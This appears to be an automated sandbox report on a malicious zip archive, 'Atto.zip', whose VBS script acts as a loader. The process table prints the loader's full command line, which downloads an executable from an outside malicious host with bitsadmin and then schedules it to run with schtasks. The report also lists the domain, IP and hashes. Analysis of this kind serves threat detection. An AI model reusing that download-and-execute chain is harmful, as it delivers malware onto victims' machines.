analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | Atto.zip |
| Full analysis: | https://app.any.run/tasks/d41be4ca-8115-47cd-bf7a-08cb04f5b573 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | March 21, 2019, 12:38:09 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v1.0 to extract |
| MD5: | 988E8C2169C8F2EE3D6C4D190B4A9906 |
| SHA1: | B2BBA82B05EA3EF41B35F52B1B62349223158507 |
| SHA256: | EC17E5C54C98FD884791FE6C5980B1F9695368F87421AE1235341D8814958663 |
| SSDEEP: | 3072:LGbkux41hRQ4RS3kwOk70cBiwqybj16U4q3Z3lcPkyK404deeQz2Y+px:s5x4JQ4ckwOk7cjYj1Cq3BlcPkDO4apx |
MALICIOUS
Uses BITADMIN.EXE for downloading application
- cmd.exe (PID: 2412)
Uses Task Scheduler to run other applications
- cmd.exe (PID: 2412)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 2324)
SUSPICIOUS
Reads the machine GUID from the registry
- WScript.exe (PID: 2448)
- WinRAR.exe (PID: 2556)
- WinRAR.exe (PID: 2816)
Starts CMD.EXE for commands execution
- WScript.exe (PID: 2448)
Executes scripts
- WinRAR.exe (PID: 2816)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipFileName: | Atto/ |
|---|---|
| ZipUncompressedSize: | - |
| ZipCompressedSize: | - |
| ZipCRC: | 0x00000000 |
| ZipModifyDate: | 2019:03:20 23:39:05 |
| ZipCompression: | None |
| ZipBitFlag: | - |
| ZipRequiredVersion: | 10 |
Total processes
39
Monitored processes
6
Malicious processes
0
Suspicious processes
3
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2816 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\Atto.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 | ||||
| 2556 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\Atto.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 | ||||
| 2448 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa2816.42097\Atto_51648651519816651651651651651.vbs" | C:\Windows\System32\WScript.exe | — | WinRAR.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
| 2412 | "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer msd5 /priority foreground http://blog.practicereiki.com/pagpoftrh54.php C:\Users\admin\AppData\Local\Temp/eyTWUDW.exe &schtasks /create /st 12:45 /sc once /tn Ieb /tr C:\Users\admin\AppData\Local\Temp/eyTWUDW.exe | C:\Windows\System32\cmd.exe | — | WScript.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2060 | bitsadmin /transfer msd5 /priority foreground http://blog.practicereiki.com/pagpoftrh54.php C:\Users\admin\AppData\Local\Temp/eyTWUDW.exe | C:\Windows\system32\bitsadmin.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 2149580817 Version: 7.5.7600.16385 (win7_rtm.090713-1255) | ||||
| 2324 | schtasks /create /st 12:45 /sc once /tn Ieb /tr C:\Users\admin\AppData\Local\Temp/eyTWUDW.exe | C:\Windows\system32\schtasks.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
943
Read events
886
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
0
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2556 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2556.42452\Atto\Atto_51648651519816651651651651651.vbs | — | |
MD5:— | SHA256:— | |||
| 2816 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa2816.42097\Atto_51648651519816651651651651651.vbs | text | |
MD5:AC919702F077D4093E7E48EC8F42CF82 | SHA256:A60864BFAAF6D8465A44D1CFCEB38001D3DE5466BEF4C993E51D0F7A4E28776D | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | HEAD | 200 | 212.109.197.19:80 | http://blog.practicereiki.com/pagpoftrh54.php | RU | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 212.109.197.19:80 | blog.practicereiki.com | JSC ISPsystem | RU | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
blog.practicereiki.com |
| malicious |